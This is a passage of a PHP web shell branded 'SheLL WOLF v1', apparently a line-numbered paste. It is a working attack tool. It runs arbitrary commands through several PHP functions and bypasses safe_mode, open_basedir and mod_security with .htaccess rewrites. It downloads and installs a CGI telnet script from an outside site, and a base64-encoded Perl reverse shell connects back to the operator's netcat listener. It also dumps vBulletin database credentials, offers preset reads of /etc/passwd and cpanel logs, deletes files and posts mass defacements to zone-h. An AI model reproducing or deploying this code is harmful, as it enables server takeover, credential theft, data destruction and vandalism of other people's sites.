  717. print $ec.$c2.$sf."&nbsp;";
  718. input("text","curl",$nscdir,75);
  719. input("hidden","scdir",$nscdir,0);print " ";
  720. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  721. print "</td></tr></table>";
  722. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  723. print "<tr><td width=50%><div align=left>";
  724. print $st.$c1."<div><b><center>Using imap() function</div>";
  725. print $ec.$c2.$sf."&nbsp;";
  726. input("text","rimap",$nscdir,75);
  727. input("hidden","scdir",$nscdir,0);print " ";
  728. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  729. print "</td><td height=20% width=50%><div align=right>";
  730. print $st.$c1."<div><b><center>Using id() function</div>";
  731. print $ec.$c2.$sf."&nbsp;";
  732. input("text","rid",$nscdir,75);
  733. input("hidden","scdir",$nscdir,0);print " ";
  734. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  735. print "</td></tr></table>";
  736. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  737. print "<tr><td width=50%><div align=left>";
  738. print $st.$c1."<div><b><center>Using plugin() function</div>";
  739. print $ec.$c2.$sf."&nbsp;";
  740. input("text","plugin",$nscdir,75);
  741. input("hidden","scdir",$nscdir,0);print " ";
  742. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  743. print "</td><td height=20% width=50%><div align=right>";
  744. print $st.$c1."<div><b><center>Using symlink() function</div>";
  745. print $ec.$c2.$sf."&nbsp;";
  746. input("text","sym",$nscdir,75);
  747. input("hidden","scdir",$nscdir,0);print " ";
  748. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  749. print "</td></tr></table>";
  750. delm(": Unzend Config :");
  751. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  752. print "<tr><td width=50%><div align=left>";
  753. print $st.$c1."<div><b><center>Connect To Functions Of Config</div>";
  754. print $ec.$c2.$sf."&nbsp;";
  755. input("text","func",$nscdir,75);
  756. input("hidden","scdir",$nscdir,0);print " ";
  757. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  758. print "</td></tr></table>";
  759. ?><?
  760. print "<br><table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";
  761. print"<tr><td><font size=2 face=tahoma>";
  762. print"<center>Coder By DarK c0d3r <br>[ Team sa-hacker :: Go to : <a target='_blank' href='http://www.sa-hacker.com'>http://www.sa-hacker.com</a> ]";
  763. print"</font></td></tr></table>";
  764. ?>
  765. <PHP
  766.  
  767. }
  768.  
  769. //Vbulletin config decoder
  770. function edecode()
  771. {
  772. ?>
  773. <?
  774. /*================*\
  775. || ############### ||
  776. || # H-T oM[3]Ga # ||
  777. || ############### ||
  778. \*================*/
  779. ?>
  780. <title>ionCube & Zend Decoder</title>
  781. <form name="form" action="?a=decode" method="post">
  782. <tr><td><input name="file" value="config.php" /></td></tr>
  783. <input type="submit" name="Connect" value="Decode" />
  784. <br>
  785. <?
  786. $a = $_GET['a'];
  787. if($a=='decode' && isset($_POST['file']))
  788. {
  789. $file = $_POST['file'];
  790. include $file;
  791. ?>
  792. <? echo $config['MasterServer']['servername']."\n"; ?><br>
  793. <? echo $config['Database']['dbname']."\n"; ?><br>
  794. <? echo $config['MasterServer']['username']."\n"; ?><br>
  795. <? echo $config['MasterServer']['password']."\n"; ?><br>
  796. <?
  797. }
  798. if ($a=='config')
  799. {
  800. }
  801. ?>
  802. <?PHP
  803.  
  804. }
  805.  
  806. //Php 4 Back
  807. function ephp4()
  808. {
  809. @unlink('.htaccess');
  810. $H = fopen('.htaccess','w+');
  811. $Str = '<Files *.php>
  812. ForceType application/x-httpd-php4
  813. </Files>';
  814. if(fwrite($H,$Str)){
  815. echo "[+] Evil File Created Succes ! \n";
  816. }
  817. fclose($H);
  818. break;
  819.  
  820. }
  821.  
  822. //Php 4.x Bypass
  823. function e444()
  824. {
  825.  
  826. ?>
  827. <?
  828. /*
  829. www.securitywall.org
  830. Safe Mode Command Execution Shell
  831. */
  832. function safeshell($komut)
  833. {
  834. ini_restore("safe_mode");
  835. ini_restore("open_basedir");
  836. $res = '';
  837. if (!empty($komut))
  838. {
  839. if(function_exists('exec'))
  840. {
  841. @exec($komut,$res);
  842. $res = join("\n",$res);
  843. }
  844. elseif(function_exists('shell_exec'))
  845. {
  846. $res = @shell_exec($komut);
  847. }
  848. elseif(function_exists('system'))
  849. {
  850. @ob_start();
  851. @system($komut);
  852. $res = @ob_get_contents();
  853. @ob_end_clean();
  854. }
  855. elseif(function_exists('passthru'))
  856. {
  857. @ob_start();
  858. @passthru($komut);
  859. $res = @ob_get_contents();
  860. @ob_end_clean();
  861. }
  862. elseif(@is_resource($f = @popen($komut,"r")))
  863. {
  864. $res = "";
  865. while(!@feof($f)) { $res .= @fread($f,1024); }
  866. @pclose($f);
  867. }
  868. }
  869. return $res;
  870. }
  871. echo "<b><font color=blue>Safe Mode Command Execution Bypass Exploit</font></b><br>";
  872. print_r('
  873. <pre>
  874. <form method="POST" action="">
  875. <b><font color=blue>Command :</font></b><input name="baba" type="text"><input value="Execute" type="submit">
  876. </form>
  877. <form method="POST" action="">
  878. <b><font color=blue>Ready Command :=) :</font><select size="1" name="liz0">
  879. <option value="cat /etc/passwd">/etc/passwd</option>
  880. <option value="netstat -an | grep -i listen">All open Portalari Gor</option>
  881. <option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
  882. <option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
  883. <option value="cat /etc/hosts">/etc/hosts</option>
  884. <option value="cat /etc/named.conf">/etc/named.conf</option>
  885. <option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
  886. <option value="ls -la /etc/virtual">ls -la /etc/virtual</option>
  887. <option value="ls -la /etc/vdomainaliases">ls -la /etc/vdomainaliases</option>
  888. <option value="ls -la /etc/vfilters">ls -la /etc/vfilters</option>
  889. <option value="find PATH -perm 777 -type d">Yzilabilir Directories</option>
  890. <option value="cat /etc/passwd | grep cpanel > 1;cat 1">p1</option>
  891. <option value="cut -d: -f 6 1 >2;cat 2">p2</option>
  892. </select> <input type="submit" value="Sonuc">
  893. </form>
  894. </pre>
  895. ');
  896. ini_restore("safe_mode");
  897. ini_restore("open_basedir");
  898. if($_POST[baba]!= "") { $liz0=safeshell($_POST[baba]); }
  899. if($_POST[liz0]!= "") { $liz0zim=safeshell($_POST[liz0]); }
  900. $uid=safeshell('id');
  901. $server=safeshell('uname -a');
  902. echo "<pre><h4>";
  903. echo "<b><font color=red>Information:</font></b>:$uid<br>";
  904. echo "<b><font color=red>Server</font></b>:$server<br>";
  905. echo "<b><font color=red>Command Results:</font></b><br>";
  906. if($_POST["baba"]!= "") { echo $liz0; }
  907. if($_POST["liz0"]!= "") { echo $liz0zim; }
  908. echo "</h4></pre>";
  909. ?>
  910. <?php
  911. }
  912.  
  913.  
  914. //Perl cgi
  915. function ecgi()
  916. {
  917.  
  918. $kokdosya = ".htaccess";
  919.  
  920. $dosya_adi = "$kokdosya";
  921. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;ilamadi!");
  922. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  923.  
  924. AddType application/x-httpd-cgi .sa
  925.  
  926. AddHandler cgi-script .sa
  927. AddHandler cgi-script .sa";
  928. fwrite ( $dosya , $metin ) ;
  929. fclose ($dosya);
  930.  
  931. ?>
  932. <?php
  933.  
  934. $file = fopen("izo.sa" ,"w+");
  935.  
  936. $sa=file_get_contents('http://www.rohitab.com/cgiscripts/cgitelnet.txt');
  937.  
  938. $write = fwrite ($file ,$sa);
  939.  
  940. fclose($file);
  941.  
  942. if ($write) {
  943.  
  944. echo "The File Was Created Successfuly.</br>";
  945.  
  946. }
  947. else {echo'"error"';}
  948.  
  949. $chm = chmod("izo.sa" , 0755);
  950.  
  951. if ($chm == true){
  952. echo "chmoded the file to 755";
  953. }else{
  954. echo "sorry file didn't chmoded";
  955. }
  956. ?>
  957. <?php
  958. }
  959.  
  960. //ln -s bypass
  961. function elns()
  962. {
  963.  
  964. $kokdosya = ".htaccess";
  965.  
  966. $dosya_adi = "$kokdosya";
  967. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;ilamadi!");
  968. $metin = "Options +FollowSymLinks
  969. DirectoryIndex seees.html
  970. RemoveHandler .php
  971. ";
  972. fwrite ( $dosya , $metin ) ;
  973. fclose ($dosya);
  974.  
  975. }
  976.  
  977. //Apachi Bypass
  978. function eapachi()
  979. {
  980.  
  981. $kokdosya = ".htaccess";
  982.  
  983. $dosya_adi = "$kokdosya";
  984. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;ilamadi!");
  985. $metin = "<IfModule mod_security.c>
  986. SecFilterEngine Off
  987. SecFilterScanPOST Off
  988. </IfModule>";
  989. fwrite ( $dosya , $metin ) ;
  990. fclose ($dosya);
  991.  
  992.  
  993. }
  994.  
  995.  
  996. //Working with MySQL
  997. function emysql()
  998. {
  999. $cquery = $_POST['query'];
  1000. $querys = @explode(';',$cquery);
  1001. $dbhost = $_POST['dbhost']?$_POST['dbhost']:"localhost";
  1002. $dbport = $_POST['dbport']?$_POST['dbport']:"3306";
  1003. $dbuser = $_POST['dbuser'];
  1004. $dbpass = $_POST['dbpass'];
  1005. $dbname = $_POST['dbname'];
  1006. if ($cquery == "") {
  1007. $cquery = "-- SHOW DATABASES;\n-- SHOW TABLES FROM <database>;\n-- SHOW COLUMNS FROM <table>;";
  1008. }
  1009. echo '
  1010. <center><h3> Working with MySQL </h3></center>
  1011. <center>
  1012. <form method="POST" action="">
  1013. <input type="hidden" name="id" value="mysql">
  1014. DBHost: <input type="text" size="8" name="dbhost" value="',$dbhost,'" class="input" />&nbsp;
  1015. DBPort: <input type="text" size="5" name="dbport" value="',$dbport,'" class="input" />&nbsp;
  1016. DBUser: <input type="text" size="10" name="dbuser" value="',$dbuser,'" class="input" />&nbsp;
  1017. DBPass: <input type="text" size="10" name="dbpass" value="',$dbpass,'" class="input" />&nbsp;
  1018. DBName: <input type="text" size="10" name="dbname" value="',$dbname,'" class="input" /><br><br>
  1019. <textarea name ="query" rows="7" cols=90 class="textarea">',$cquery,'</textarea><br><br>
  1020. <input type="submit" name="go" value=" Go " class="button">
  1021. </form>';
  1022. if($_POST['go']) {
  1023. $connect = @mysql_connect($dbhost.":".$dbport, $dbuser, $dbpass);
  1024.  
  1025. if (!$connect) { echo '<textarea rows=3 cols=80 class="textarea">Could not connect: ',mysql_error(),'</textarea>'; }
  1026. else {
  1027. @mysql_select_db($dbname, $connect);
  1028. echo '<div style="overflow:auto; height:400px;width:1000px;">';
  1029. foreach($querys as $num=>$query){
  1030. if(strlen($query)>5){
  1031. echo '<font face=Verdana size=-2 color=orange><b>Query#'.$num.' : '.htmlspecialchars($query).'</b></font><br>';
  1032. $res = @mysql_query($query,$connect);
  1033. $error = @mysql_error($connect);
  1034. if($error) { echo '<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>'.$error.'</b></font></td></tr></table><br>'; }
  1035. else {
  1036. if (@mysql_num_rows($res) > 0){
  1037. $sql2 = $sql = $keys = $values = '';
  1038. while (($row = @mysql_fetch_assoc($res))){
  1039. $keys = @implode('&nbsp;</b></font></td><td bgcolor=blue><font color=white face=Verdana size=-2><b>&nbsp;', @array_keys($row));
  1040. $values = @array_values($row);
  1041. foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
  1042. $values = @implode('&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;',$values);
  1043. $sql2 .= '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
  1044. }
  1045. echo '<table width=100%>';
  1046. $sql = '<tr><td bgcolor=blue><font face=Verdana color=white size=-2><b>&nbsp;'.$keys.'&nbsp;</b></font></td></tr>';
  1047. $sql .= $sql2;
  1048. echo $sql;
  1049. echo '</table><br>';
  1050. }
  1051. else { if(($rows = @mysql_affected_rows($connect))>=0) { echo '<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>'.$rows.'</b></font></td></tr></table><br>'; } }
  1052. }
  1053. @mysql_free_result($res);
  1054. }
  1055. }
  1056. echo '</div><br>';
  1057. @mysql_close($connect);
  1058. }
  1059. }
  1060. }
  1061.  
  1062.  
  1063. //Back Connect
  1064. function eback()
  1065. {
  1066. $bc_perl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
  1067. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  1068. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  1069. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  1070. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  1071. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  1072. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1073. echo '
  1074. <p align="center"><font size="5"><b> Back Connecting </b></font></p>
  1075. <p align="center"><font color="#DD8008">Run NetCat on your machine:</font><i><font color="#FF0000"> nc -l -p 1542</font></i>
  1076. </p><br><hr><br><p align="center"><font color="#DD8008">Then input your IP and Port</font></p>
  1077. <div align="center"><form method="POST" action="">
  1078. <input type="text" name="pip" value="',$_SERVER['REMOTE_ADDR'],'" class="input" /> :
  1079. <input type="text" name="pport" size="5" value="1542" class="input" /> <br><br>
  1080. <input type="text" name="ppath" value="/tmp" class="input" /><br><br>
  1081. <input type="submit" value=" Connect " class="button" />
  1082. </form></div>';
  1083. $pip=$_POST['pip']; $pport=$_POST['pport'];
  1084. if ($pip <> '') {
  1085. $fp=fopen($_POST['ppath'].DS.rand(0,10).'bc_perl_enhack.pl', 'w');
  1086. if (!$fp){
  1087. $result = 'Error: couldn\'t write file to open socket connection';
  1088. } else {
  1089. @fputs($fp,@base64_decode($bc_perl));
  1090. fclose($fp);
  1091. $result = ex('perl '.$_POST['ppath'].'/bc_perl_enhack.pl '.$pip.' '.$pport.' &');
  1092. }
  1093. }
  1094. }
  1095.  
  1096.  
  1097. //File Edit
  1098. function fedit()
  1099. {
  1100. $fedit=$_GET['fedit'];
  1101. if(is_file($fedit)) {
  1102. if ($fedit != "" ){
  1103. $fedit=realpath($fedit);
  1104. $lines = file($fedit);
  1105. echo '
  1106. <center><br><form action="" method="POST">
  1107. <textarea name="savefile" rows="33" cols="100">' ;
  1108.  
  1109. foreach ($lines as $line_num => $line) {
  1110. echo htmlspecialchars($line);
  1111. }
  1112. echo '
  1113. </textarea><br><br>
  1114. <input type="text" name="filepath" size="60" value="',$fedit,'" class="input" />&nbsp;
  1115. <input type="submit" value=" Save " class="button" /></form>';
  1116. $savefile=stripslashes($_POST['savefile']);
  1117. $filepath=realpath($_POST['filepath']);
  1118. if ($savefile <> "") {
  1119. $fp=@fopen("$filepath","w+");
  1120. if($fp){
  1121. fwrite($fp,"") ;
  1122. fwrite($fp,$savefile) ;
  1123. fclose($fp);
  1124. echo '<script language="javascript"> alert("File Saved!")</script>';
  1125. } else {
  1126. echo '<script language="javascript"> alert("Save Failed!")</script>';
  1127. }
  1128. echo '<script language="javascript"> window.location = "http://'.$_SERVER['HTTP_HOST'].'/'.$_SERVER['REQUEST_URI'].'"</script>';
  1129. }
  1130. exit();
  1131. }
  1132. }
  1133. else {
  1134. echo '<u>',$fedit,'</u> is not file. <br />
  1135. <a href="javascript:history.go(-1)"><-- back</a>
  1136. ';
  1137. }
  1138. }
  1139.  
  1140.  
  1141. // Execute
  1142. function ex($param) {
  1143. $res = '';
  1144. if (!empty($param)){
  1145. if(function_exists('exec')) {
  1146. @exec($param,$res);
  1147. $res = join("\n",$res);
  1148. }
  1149. elseif(function_exists('shell_exec')) {
  1150. $res = @shell_exec($param);
  1151. }
  1152. elseif(function_exists('system')) {
  1153. @ob_start();
  1154. @system($param);
  1155. $res = @ob_get_contents();
  1156. @ob_end_clean();
  1157. }
  1158. elseif(function_exists('passthru')) {
  1159. @ob_start();
  1160. @passthru($param);
  1161. $res = @ob_get_contents();
  1162. @ob_end_clean();
  1163. }
  1164. elseif(@is_resource($f = @popen($param,"r"))) {
  1165. $res = "";
  1166. while(!@feof($f)) { $res .= @fread($f,1024); }
  1167. @pclose($f);
  1168. }
  1169. }
  1170. return $res;
  1171. }
  1172.  
  1173. //Upload File
  1174. $rpath=@$_POST['Fupath'];
  1175. if ($rpath <> "") {
  1176. $uploadfile = $rpath."/" . $_FILES['userfile']['name'];
  1177. if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  1178. echo '<script language="javascript"> alert("\:D Upload successfully!")</script>';
  1179. } else {
  1180. echo '<script language="javascript"> alert("\:( Upload Failed!")</script>';
  1181. }
  1182. }
  1183.  
  1184. //Delete file
  1185. $frpath=@$_GET['fdelete'];
  1186.  
  1187. function rmdirr($dirname)
  1188. {
  1189. // Sanity check
  1190. if (!file_exists($dirname)) {
  1191. return false;
  1192. }
  1193.  
  1194. // Simple delete for a file
  1195. if (is_file($dirname) || is_link($dirname)) {
  1196. return unlink($dirname);
  1197. }
  1198.  
  1199. // Loop through the folder
  1200. $dir = dir($dirname);
  1201. while (false !== $entry = $dir->read()) {
  1202. // Skip pointers
  1203. if ($entry == '.' || $entry == '..') {
  1204. continue;
  1205. }
  1206.  
  1207. // Recurse
  1208. rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
  1209. }
  1210.  
  1211. // Clean up
  1212. $dir->close();
  1213. return rmdir($dirname);
  1214. }
  1215.  
  1216. if ($frpath <> "") {
  1217. if(rmdirr($frpath)) {
  1218. echo '<script language="javascript"> alert("Done! Press F5 to refresh")</script>';
  1219. } else {
  1220. echo '<script language="javascript"> alert("Fail! Press F5 to refresh")</script>';
  1221. }
  1222. echo '<script language="javascript"> history.back(2)</script>';
  1223. exit(0);
  1224. }
  1225. ?>
  1226.  
  1227. <html>
  1228. <head>
  1229. <meta http-equiv="Content-Language" content="en-us">
  1230. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  1231. <link REL="SHORTCUT ICON" HREF="http://i49.tinypic.com/2zzp5xh.jpg">
  1232. <title>[&#177;] Aissa WoLF1200 [&#177;]</title>
  1233. <style>
  1234. <!--
  1235. body {
  1236. font-family: Tahoma; font-size: 8pt; color:#00FF00;
  1237. background-color:#000;
  1238. }
  1239. .td {
  1240. font-size:80%;
  1241. }
  1242. a:link {
  1243. text-decoration: none;
  1244. color: #0080FF
  1245. }
  1246. a:visited {
  1247. text-decoration: none;
  1248. color: #0080FF
  1249. }
  1250. a:active {
  1251. text-decoration: none;
  1252. color: #0080FF
  1253. }
  1254. a:hover {
  1255. text-decoration: underline overline;
  1256. color: #FF0000
  1257. }
  1258.  
  1259. .input {
  1260. border: 1px solid #0c9904 ;
  1261. BACKGROUND-COLOR: #333333;
  1262. font: 10pt tahoma;
  1263. color: #ffffff;
  1264. }
  1265.  
  1266. .button {
  1267. font-size: 13px;
  1268. color:#0c9904;
  1269. BACKGROUND-COLOR: #333333;
  1270. border: 1px solid #0c9904;
  1271. }
  1272.  
  1273. .textarea {
  1274. border: 1px solid #0c9904 ;
  1275. BACKGROUND-COLOR: #333333;
  1276. font: Fixedsys bold;
  1277. color: #ffffff;
  1278. }
  1279.  
  1280. #phpinfo {
  1281. width:80%;
  1282. font-size:80%;
  1283. padding-left10px;
  1284. }
  1285. #phpinfo table ,
  1286. #phpinfo td ,
  1287. #phpinfo tr {
  1288. border:1px solid #9fe3a2;
  1289. }
  1290. #phpinfo pre {}
  1291. #phpinfo a:link {
  1292. color:red;
  1293. }
  1294. #phpinfo a:hover {}
  1295. #phpinfo table {}
  1296. #phpinfo .center {}
  1297. #phpinfo .center table {}
  1298. #phpinfo .center th {}
  1299. #phpinfo td, th {}
  1300. #phpinfo h1 {
  1301. font-size:120%;
  1302. }
  1303. #phpinfo h2 {
  1304. text-decoration:underline;
  1305. color:#75d584;
  1306. }
  1307. #phpinfo .p {
  1308. font-size:90%;
  1309. color:red;
  1310. }
  1311. #phpinfo .e {
  1312. font-size:80%;
  1313. }
  1314. #phpinfo .h {
  1315. }
  1316. #phpinfo .v {
  1317. font-size:75%;
  1318. color:#3e9e25;
  1319. }
  1320. #phpinfo .vr {}
  1321. #phpinfo img {}
  1322. #phpinfo hr {}
  1323. -->
  1324. </style>
  1325. </head>
  1326.  
  1327. <body>
  1328. <?php
  1329. error_reporting(E_ERROR | E_WARNING | E_PARSE);
  1330.  
  1331.  
  1332. // Change mode
  1333. $fchmod=$_GET['fchmod'];
  1334. if ($fchmod <> "" ){
  1335. $fchmod=realpath($fchmod);
  1336. echo '<center><font size="3"><br>
  1337. Chang mode ',$fchmod,'<br>
  1338. <form method="POST" action=""><br>
  1339. <br>
  1340. <input type="text" name="mode" size="4" class="input" />&nbsp;
  1341. <input type="submit" value="chmod" class="button" />
  1342. </form><br>';
  1343. $mode=$_POST['mode'];
  1344. if ($mode != ""){
  1345. if(chmod($fchmod , $mode)) {
  1346. echo "Successfully";
  1347. } else {
  1348. echo "Permission denied";
  1349. }
  1350. }
  1351. echo '</font>';
  1352. exit();
  1353. }
  1354. ?>
  1355.  
  1356. <div align="center">
  1357. <p align="center">
  1358.  
  1359. <SPAN style="FONT-SIZE: 23pt; COLOR: #00CCFF; FONT-FAMILY: Impact">[&#177;] SheLL WOLF v1 [&#177;]</SPAN>
  1360.  
  1361. <br/>WOLF
  1362. </p>
  1363. <table border="1" width="98%" style="border: 1px solid #0080FF" cellspacing="0" cellpadding="0" height="600">
  1364. <tr>
  1365. <td valign="top" rowspan="2">
  1366. <p align="center"><b>
  1367. <br><a href="?"><img border="0" src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTZLWyAy1FTcoU3h2to5raJBwlahdLtDH7pFnw2qk6Jb6Zd0XANsQ"></a>
  1368. </p>
  1369. <p align="center">=====[~]=====</p>
  1370. <p align="center"><b>
  1371. <font face="Tahoma" size="2" color="#0080FF">
  1372. <a href="?id=fm&dir=<?php echo getcwd(); ?> ">File Manager</a>
  1373. </font></b></p>
  1374.  
  1375. <p align="center"><b>
  1376. <font face="Tahoma" size="2" color="#0080FF">
  1377. <a href="?id=asy">Symlinking</a>
  1378. </font></b></p>
  1379.  
  1380. <p align="center"><b>
  1381. <font face="Tahoma" size="2" color="#0080FF">
  1382. <a href="?id=mdf">Mass Defacement</a>
  1383. </font></b></p>
  1384.  
  1385. <p align="center"><b>
  1386. <font face="Tahoma" size="2" color="#0080FF">
  1387. <a href="?id=wjf">Wordpress & Joomla fucker</a>
  1388. </font></b></p>
  1389.  
  1390. <p align="center"><b>
  1391. <font face="Tahoma" size="2" color="#0080FF">
  1392. <a href="?id=bgr">Bing grabber</a>
  1393. </font></b></p>
  1394.  
  1395. <p align="center"><b>
  1396. <font face="Tahoma" size="2" color="#0080FF">
  1397. <a href="?id=cmd">Web Command</a>
  1398. </font></b></p>
  1399.  
  1400. <p align="center"><b>
  1401. <font face="Tahoma" size="2" color="#0080FF">
  1402. <a href="?id=eval">PHP Evaluator</a>
  1403. </font></b></p>
  1404.  
  1405. <p align="center"><b>
  1406. <font face="Tahoma" size="2" color="#0080FF">
  1407. <a href="?id=izo">Php 5.2.9 Bypass</a>
  1408. </font></b></p>
  1409.  
  1410. <p align="center"><b>
  1411. <font face="Tahoma" size="2" color="#0080FF">
  1412. <a href="?id=priv8">Safe Mode Off</a>
  1413. </font></b></p>
  1414.  
  1415. <p align="center"><b>
  1416. <font face="Tahoma" size="2" color="#0080FF">
  1417. <a href="?id=obypass">Openbasedir Bypass</a>
  1418. </font></b></p>
  1419.  
  1420. <p align="center"><b>
  1421. <font face="Tahoma" size="2" color="green">
  1422. <a href="?id=decode">Vbulletin config decoder</a>
  1423. </font></b></p>
  1424.  
  1425. <p align="center"><b>
  1426. <font face="Tahoma" size="2" color="#0080FF">
  1427. <a href="?id=php4">Php 4 Back</a>
  1428. </font></b></p>
  1429.  
  1430. <p align="center"><b>
  1431. <font face="Tahoma" size="2" color="#0080FF">
  1432. <a href="?id=444">Php 4.4.x Bypass</a>
  1433. </font></b></p>
  1434.  
  1435. <p align="center"><b>
  1436. <font face="Tahoma" size="2" color="#0080FF">
  1437. <a href="?id=cgi">Perl cgi</a>
  1438. </font></b></p>
  1439.  
  1440. <p align="center"><b>
  1441. <font face="Tahoma" size="2" color="#0080FF">
  1442. <a href="?id=lns">ln -s bypass</a>
  1443. </font></b></p>
  1444.  
  1445. <p align="center"><b>
  1446. <font face="Tahoma" size="2" color="#0080FF">
  1447. <a href="?id=apachi">Apachi Bypass</a>
  1448. </font></b></p>
  1449.  
  1450. <p align="center"><b>
  1451. <font face="Tahoma" size="2" color="#0080FF">
  1452. <a href="?x=">Nitrojen Bombasi</a>
  1453. </font></b></p>
  1454.  
  1455. <p align="center"><b>
  1456. <font face="Tahoma" size="2" color="#0080FF">
  1457. <a href="?panel=cp">Cpanel crack</a>
  1458. </font></b></p>
  1459.  
  1460. <p align="center"><b>
  1461. <font face="Tahoma" size="2" color="#0080FF">
  1462. <a href="?id=bcon">Back Connect</a>
  1463. </font></b></p>
  1464.  
  1465. <p align="center"><b>
  1466. <font face="Tahoma" size="2" color="#0080FF">
  1467. <a href="?id=mysql">MySQL Query</a>
  1468. </font></b></p>
  1469.  
  1470. <p align="center"><b>
  1471. <font face="Tahoma" size="2" color="#0080FF">
  1472. <a href="?id=info">Server Infos</a>
  1473. </font></b></p>
  1474.  
  1475. <p align="center">=====[~]=====</p>
  1476.  
  1477. <p align="center"><b>
  1478. <font face="Tahoma" size="2" color="#0080FF">
  1479. <img border="0" src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQtniLfJ0L1BxLNcvPXs0dkQRz0ilcN75V5socq5HaNu_ARcW2k"></a>
  1480. </font></b></p>
  1481. </td>
  1482. <td valign="top" height="500" width="85%" style="border: 1px solid #0080FF" align="left">
  1483. <?php
  1484. // swich to function called base on id
  1485. $cmdid = $_GET['id'];
  1486. switch ($cmdid) {
  1487. // File Manager
  1488. case 'fm':
  1489. fileman ();
  1490. break;
  1491.  
  1492. // Mass Defacement > Added by Aissa WoLF1200
  1493. case 'mdf':
  1494. if($_POST['mass_shell_Aissa WoLF1200']) {
  1495.  
  1496. $hacker = $_POST['defacer'];
  1497.  
  1498. $method = $_POST['hackmode'];
  1499.  
  1500. $neden = $_POST['reason'];
  1501.  
  1502. $site = $_POST['domain'];
  1503.  
  1504.  
  1505.  
  1506. // bosmu dolumu
  1507.  
  1508. if ($hacker == "") {
  1509.  
  1510.  
  1511.  
  1512. die ("<center>You Should Set The Name Of Defacer<center>");
  1513.  
  1514. }
  1515.  
  1516. elseif($method == "Choose The Method") {
  1517.  
  1518. die("<center>You Should Set A Method</center>");
  1519.  
  1520. }
  1521.  
  1522. elseif($neden == "Choose The Reason") {
  1523.  
  1524.  
  1525.  
  1526. die("<center>You Should Set A Reason</center>");
  1527.  
  1528. }
  1529.  
  1530. elseif($site == "") {
  1531.  
  1532.  
  1533.  
  1534. die("<center>Enter The List Of Hacked Sites</center>");
  1535.  
  1536. }
  1537.  
  1538.  
  1539.  
  1540.  
  1541.  
  1542. $i = 0;
  1543.  
  1544. $sites = explode("\n", $site);
  1545.  
  1546. while($i < count($sites)) {
  1547.  
  1548. if(substr($sites[$i], 0, 4) != "http") {
  1549.  
  1550. $sites[$i] = "http://".$sites[$i];
  1551.  
  1552.  
  1553.  
  1554. }
  1555.  
  1556.  
  1557.  
  1558. poster("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
  1559.  
  1560.  
  1561.  
  1562. ++$i;
  1563.  
  1564. }
  1565.  
  1566. echo "<center><p>Sites Succesfully Posted</p></center>";
  1567.  
  1568.  
  1569.  
  1570. }else{
  1571.  
  1572.  
  1573.  
  1574. echo '<center>
  1575.  
  1576. <p align="center"><span style="FONT-FAMILY: Impact; COLOR: #ff4500; FONT-SIZE: 18pt"></span></p>
  1577. <p align="center"><span style="FONT-FAMILY: Impact; COLOR: #ff4500; FONT-SIZE: 18pt">S<span style="COLOR: #ffffff">e</span>c<span style="COLOR: #ffffff">u</span>r<span style="COLOR: #ffffff">i</span>t<span style="COLOR: #ffffff">y</span> W<span style="COLOR: #ffffff">a</span>r Z<span style="COLOR: #ffffff">o</span>n<span style="COLOR: #ffffff">e</span>-<span style="COLOR: #ffffff">H</span> M<span style="COLOR: #ffffff">a</span>s<span style="COLOR: #ffffff">s</span> D<span style="COLOR: #ffffff">e</span>f<span style="COLOR: #ffffff">a</span>c<span style="COLOR: #ffffff">e</span>s P<span style="COLOR: #ffffff">o</span>s<span style="COLOR: #ffffff">t</span>e<span style="COLOR: #ffffff">r</span></span></p>
